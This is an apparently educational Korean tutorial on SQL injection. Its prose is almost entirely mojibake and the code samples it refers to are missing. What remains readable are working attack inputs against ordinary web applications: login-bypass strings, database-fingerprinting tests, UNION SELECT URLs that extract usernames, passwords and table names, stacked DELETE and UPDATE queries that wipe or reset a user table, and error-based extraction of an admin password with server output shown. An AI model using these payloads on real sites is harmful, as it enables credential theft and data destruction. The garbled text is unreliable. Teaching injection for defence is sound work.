security > SQL Injection ¿¡ ´ëÇÑ ÀÌÇØ µî·ÏÀÏ : 2017-06-30 15:50 Á¶È¸¼ö : 62,8851. SQL Injection ÀÇ ÀÌÇØ
µµÇ¥¿¡¼µµ ¾Ë¼ö ÀÖµíÀÌ SQL InjectionÀ¸·Î ÀÎÇÑ ÇØÅ·ÀÌ °¡Àå °£´ÜÇÏ°í ½±±â ¶§¹®¿¡ À̸¦ °¡Àå¸ÕÀú ¾Ë¾Æº¸°Ú½À´Ï´Ù SQL Injection À̶õ ¼¹ö³ª OSÀÇ ±¸¸ÛÀ» ÀÌ¿ëÇÑ ÇØÅ·¹æ¹ýÀÌ ¾Æ´Ñ À¥ ¾îÇø®ÄÉÀÌ¼Ç ÀÚüÀÇ ¹ö±×¸¦ ÀÌ¿ëÇÑ »õ·Î¿î ÇüÅÂÀÇ À¥ÇØÅ· ¹æ¹ýÀÔ´Ï´Ù Á¤ÀǸ¦ ÇÏÀÚ¸é 'SQL InjectionÀº À¥ÆäÀÌÁö¸¦ ÅëÇØ ÀÔ·ÂµÈ ÆĶó¹ÌÅÍ°ªÀ» ÀÌ¿ëÇÏ¿© Äõ¸®¸¦ À籸¼ºÇÏ´Â ¹æ¹ýÀÌ´Ù' ¶ó°í ÇÒ¼ö ÀÖ½À´Ï´Ù Áï ¸¹Àº À¥ÆäÀÌÁöµéÀº »ç¿ëÀÚ³ª ÇÁ·Î±×·¥ÀÌ »ý¼ºÇÑ ÆĶó¹ÌÅÍ°ªÀ» ÀÌ¿ëÇØ Äõ¸®¸¦ ¸¸µé°í ½ÇÇàÇϴµ¥, À̶§ Á¤»óÀûÀÎ °ªÀÌ ¾Æ´Ñ ÆĶó¹ÌÅÍ°ªÀÌ ÀÔ·ÂµÉ ¶§ ºñÁ¤»óÀûÀÎ Äõ¸®°¡ ½ÇÇàµÇ¸ç, µû¶ó¼ ¿øÇÏÁö ¾Ê´Â °á°ú°¡ ³ª¿Ã¼ö ÀÖ´Ù´Â °ÍÀÔ´Ï´Ù ÀÌÇظ¦ À§ÇØ ¹Ù·Î ÄÚµå·Î µé¾î°¡ º¾½Ã´Ù ¾Æ·¡ ÄÚµå´Â »ç¿ëÀÚ°¡ ÀÔ·ÂÇÑ ·Î±×ÀÎ ¾ÆÀ̵ð¿Í ºñ¹Ð¹øÈ£·Î ·Î±×ÀÎÀ» ½ÃµµÇÏ´Â ·ÎÁ÷ÀÔ´Ï´Ù
¹«¾ùÀÌ À߸øµÇ¾úÀ» ±î¿ä?ÄÚµå»óÀ¸·Î º¸¸é ½ÇÇàÇϴµ¥ ÀüÇô ÀÌ»óÀÌ ¾ø´Â ÄÚµåÀÌÁö¸¸ ÂÍ ¾Æ´Â»ç¶÷µé¿¡°Ô´Â ºñ¹Ð¹øÈ£ ¾øÀÌ ¾ÆÀ̵𸸠¾È´Ù¸é ·Î±×ÀÎÀ» ¼º°øÇÒ ¼ö ÀÖ´Â ·ÎÁ÷ÀÔ´Ï´Ù ¾Æ¾Æµð°¡ goodbug ÀÌ°í ºñ¹Ð¹øÈ£°¡ 1111 ÀÎ °èÁ¤ÀÌ ÀÖ´Ù°í Çսô٠^^; ÀԷ¶õ¿¡ googbug / 1111 À» ÀÔ·ÂÇÏ´Ï Á¤»óÀûÀ¸·Î ·Î±×ÀÎÀÌ true°¡ µÇ¾ú½À´Ï´Ù ÇÏÁö¸¸ ¸¸¾à ´ÙÀ½°ú °°ÀÌ »ç¿ëÀÚ°¡ ÀÔ·ÂÇÑ´Ù¸é ¾î¶»°Ô µÉ±î¿ä? ·Î±×ÀÎÀÌ µË´Ï´Ù! ºñ¹Ð¹øÈ£¿¡ »ó°ü¾øÀÌ ·Î±×ÀÎÀÌ µÇ´Â±º¿ä!! Çϳª ´õ º¸µµ·Ï ÇÏÁö¿ä À§ÀÇ ¼Ò½º´Â MySQLÀ» »ç¿ëÇÏ°í ÀÖ½À´Ï´Ù MySQLÀÇ ¶óÀÎ ÁÖ¼®Ã³¸®´Â # ÀÔ´Ï´Ù ¾Æ½ÃÁÒ? Áï µÞºÎºÐ password¸¦ üũÇÏ´Â ·ÎÁ÷Àº ÁÖ¼®Ã³¸®µÇ¾î ¹ö¸°°Ì´Ï´Ù ¶ß¾Æ~ °°Àº ÀǹÌÀÌÁö¸¸ ¾Æ·¡Ã³·³ ¿©·¯°¡Áö ¼¯¾î¼µµ °¡´ÉÇÕ´Ï´Ù ÀÌ°Ô ¸¸¾à °ü¸®ÀÚ ¾ÆÀÌµð¿´´Ù¸é ¹®Á¦´Â ´õ ½É°¢ÇØ Áý´Ï´Ù ÀÌó·³ »ç¿ëÀÚÀÇ °íÀÇ·Î ÀÎÇÑ SQLÀ» Á¶ÀÛÇÏ¿© À¥ ¾îÇø®ÄÉÀÌ¼Ç ÀÚü¸¦ °ø°ÝÇϴ°ÍÀÌ SQL Injection ÀÔ´Ï´Ù ±×·¸´Ù¸é À§ÀÇ ¼Ò½º¸¦ ¾î¶»°Ô º¯°æÇÏ´Â°Ô ÁÁÀ»±î¿ä?
À§Ã³·³ ÇÏ¸é ¾î´ÀÁ¤µµ µÇ°Ú³×¿ä ^^ 2. SQL Injection ÆÐÅÏ ±×·³ SQL Injection¿¡ »ç¿ëµÉ¸¸ÇÑ ¹®ÀÚ¿¿¡´Â ¾î¶²°ÍÀÌ ÀÖÀ»±î¿ä? ¾Æ·¡ ¹®ÀÚµéÀº ÇØ´ç µ¥ÀÌÅͺ£À̽º¿¡µû¶ó ´Þ¶óÁú ¼ö ÀÖ½À´Ï´Ù
ÀϹÝÀûÀ¸·Î ¾Ë·ÁÁø ¸î°¡Áö ÆÐÅÏÀÔ´Ï´Ù ' or 1=1-- " or 1=1-- or 1=1-- ' or 'a'='a " or "a"="a ') or ('a'='a ' or password like '% ÀÌ·¯ÇÑ ÆÐÅϵé·Î Ÿ°Ù µ¥ÀÌÅͺ£À̽º°¡ ¿À¶óŬÀÎÁö MySQLÀε¥ ȤÀº M$SQLÀÎÁö È®ÀÎÇÒ ÇÊ¿ä°¡ ÀÖÀ»°Ì´Ï´Ù. ¿Ö³ÄÇÏ¸é ±×°Í¿¡ µû¶ó ´Ù¾çÇÑ °ø°Ý ¹æ¹ýÀÌ »ý±â±â ¶§¹®ÀÔ´Ï´Ù ±×·³ ÀÌ·¯ÇÑ ±¸ºÐÀº ±×·³¾î¶»°Ô ÇÒ±î¿ä? SQL InjectionÀ» ÀÌ¿ëÇÏ¿© ´ÙÀ½°ªÀÌ trueÀÎÁö falseÀÎÁö È®ÀÎÇÕ´Ï´Ù AND 'abcd' = 'ab' + 'cd' true ÀÌ¸é ¿À¶óŬÀº ¾Æ´Ò°Ì´Ï´Ù ¿À¶óŬÀº ||À» ¹®ÀÚ¿ concat À¸·Î »ç¿ëÇÏÁö¿ä AND 'abcd' = 'ab' || 'cd' true ÀÌ¸é ¿À¶óŬÀÔ´Ï´Ù rownum µµ ±¸ºÐÇÒ¼ö ÀÖ´Â ÁÁÀº ¿¹ÀÔ´Ï´Ù MySQlÀº ¶óÀÎ ÁÖ¼®ÀÌ #ÀÔ´Ï´Ù ´Ù¸¥ ´ëºÎºÐ µ¥ÀÌÅͺ£À̽º´Â --¸¦ »ç¿ëÇÏÁö¿ä #À» SQL Injection ÇÏ¿´À»¶§ À§ÀÇ ¿¹Ã³·³ ¿¡·¯°¡ ¹ß»ýÇÏÁö ¾ÊÀ¸¸é MySQLÀÔ´Ï´Ù ¶Ç limit µîµµ µµ¿òÀÌ µÉ°Ì´Ï´Ù ÀÌó·³ ÇØ´ç µ¥ÀÌÅͺ£À̽º°¡ °íÀ¯ÇÏ°Ô »ç¿ëÇÏ´Â keyµéÀ» SQL InjectionÇÏ¿© ±¸ºÐÇÒ ¼ö ÀÖ½À´Ï´Ù 3. UNION SQL Injection À§¿Í°°ÀÌ WHEREÀý¿¡ SQL InjectionÀ» »ç¿ëÇÏ¿© Á¶°ÇÀýÀ» ¹«·ÂÈ ½ÃÅ°´Â ¹æ¹ýµµ ÀÖÁö¸¸ UNION SQL InjectionÀº ¿øÇÏ´Â Á¤º¸µµ »Ì¾Æº¼ ¼ö ÀÖ½À´Ï´Ù. ¾Æ·¡ ÄÚµå´Â °Ô½Ã¹°¹øÈ£¸¦ ÆĶó¹ÌÅÍ·Î ¹Þ¾Æ ÇØ´ç °Ô½Ã¹°ÀÌ Á¸ÀçÇÏ¸é ±Û¹øÈ£¿Í ±ÛÁ¦¸ñ, ±Û³»¿ëÀ» Á¶È¸ÇÏ´Â ÄÚµåÀÔ´Ï´Ù
±Û¹øÈ£°¡ 1134896409234 ÀÎ °Ô½Ã¹°Àº ´ÙÀ½°ú °°ÀÌ URLÀÌ ¿äûµÇ¾î Á¶È¸°¡ µÉ°Ì´Ï´Ù ¿äû URL /read.jsp?bno=1134896409234 ÇÏÁö¸¸ À§¿Í °°ÀÌ Ãß°¡ÀûÀ¸·Î UNION SQL InjectionÀÌ µé¾î°¥ ¼ö ÀÖ½À´Ï´Ù /read.jsp?bno=1134896409234' UNION SELECT '1', userid, userpw FROM user_t WHERE userid = 'goodbug' ORDER BY boardno ASC # ±×·¯¸é goodbug¶ó´Â ¾ÆÀ̵ðÀÇ ºñ¹Ð¹øÈ£°¡ ±×¸¸ Á¶È¸µÇ¾î ¹ö¸³´Ï´Ù!! ±×·³ user_t ¶ó´Â Å×À̺í°ú ,userid, userpw¶ó´Â Ä÷³¸íµéÀº ¾î¶»°Ô ¾Ë¼ö ÀÖÀ»±î¿ä? ¿À¶óŬ À̶ó¸é ´ÙÀ½°ú °°ÀÌ ¾Ë¾Æ³¾ ¼ö ÀÖ½À´Ï´Ù /read.jsp?bno=1134896409234' UNION SELECT '1', tname, '' FROM user_tables WHERE like '%user%' ORDER BY boardno ASC -- Å×ÀÌºí ¸íÀ» ¾Ë¾Æ³Â´Ù¸é ÀÌÁ¦ Ä÷³¸íÀ» ¾Ë¾ÆºÁ¾ß°ÚÁÒ ¿À¶óŬÀ̶ó¸é user_tab_columns view¸¦ ÅëÇØ ¾Ë¾Æº¼ ¼ö ÀÖ½À´Ï´Ù SELECT * FROM user_tab_columns WHERE table_name = 'user_t' ¹°·Ð Çѹø¿¡ ¾Ë¾Æ³¾¼ö ¾øÀ¸¸ç ¸¹Àº ½ÃÇàÂø¿À¸¦ °Þ¾î¾ß Çϴ°ÍÀº ÇʼöÀÔ´Ï´Ù ±×·¡¼ Á¦·Îº¸µå³ª Unicorn °°Àº °ø°³ °Ô½ÃÆÇÀÎ °æ¿ì´Â Ÿ°ÙÀÌ µÇ±â ½±»óÀÔ´Ï´Ù MySQlÀ̳ª Oracle JDBC¿¡¼´Â ´ÙÇàÈ÷µµ ; ¹®ÀÚ¸¦ ÀÌ»ó ij¸¯ÅÍ·Î º¸°í ¿¡·¯¸¦ ¹ÝȯÇÕ´Ï´Ù ÇÏÁö¸¸ ±×·¸Áö ¾ÊÀº JDBC°¡ ÀÖµû¸é Å«ÀÏÀÔ´Ï´Ù ¾Æ·¡¿Í °°Àº Äڵ尡 °¡´ÉÇϱ⠶§¹®ÀÌÁö¿ä /read.asp?bno=1134896409234';DELETE FROM user_t /read.asp?bno=1134896409234';UPDATE user_t SET userpw = '1111' PHP³ª ASPÀÎ °æ¿ì¿¡´Â °¡´ÉÇÑ Äõ¸® ÀÔ´Ï´Ù ÀÌÁ¦ ´ë° SQL Injection¿¡ ´ëÇØ °¨ÀÌ ÀâÈ÷½Ã³ª¿ä? 4. ¿¡·¯ ¸Þ¼¼Áö¸¦ ÅëÇÑ Á¤º¸¼öÁý admin_login À̶ó´Â °ü¸®ÀÚ Å×À̺í°ú login_nameÀ̶ó´Â Ä÷³À» ¾Ë¾Æ ³Â´Ù°í ÇÑ´Ù¸é.. M$SQLÀÎ °æ¿ì¸¦ ¿¹¸¦ µé°Ú½À´Ï´Ù /read.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login-- Output: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'goodbug' to a column of data type int. /read.asp, line 5 ¶ó´Â ¸Þ¼¼Áö°¡ ³ª¿É´Ï´Ù ¿©±â¼ ¹«¼ø Á¤º¸¸¦ ¾Ë¼ö ÀÖÀ»±î¿ä? ¹Ù·Î goodbug ¶ó´Â °ü¸®ÀÚ ¾ÆÀ̵𰡠ÀÖ´Ù´Â °ÍÀ» ¾Ë¾Ò½À´Ï´Ù ±×·³ ¿©Âü¿¡ ºñ¹Ð¹øÈ£±îÁö ¾Ë¾Æº¾½Ã´Ù /read.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='goodbug'-- Output: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '1111' to a column of data type int. /read.asp, line 5 Áï nvarchar ŸÀÔÀÇ Ä÷³À» intÇüÀ¸·Î convert¸¦ À¯µµÇÏ¸é¼ ÇØ´ç°ªÀ» ¿¡·¯¸Þ¼¼Áö·ÎºÎÅÍ ÃëµæÇÒ ¼ö ÀÖ½À´Ï´Ù °¡´ÉÇÏ¸é ¿¡·¯ ¸Þ¼¼Áö´Â ÀÏ¹Ý À¯Àú¿¡°Ô »Ñ¸®Áö ¸»¾Æ¾ß °ÚÁö¿ä?
|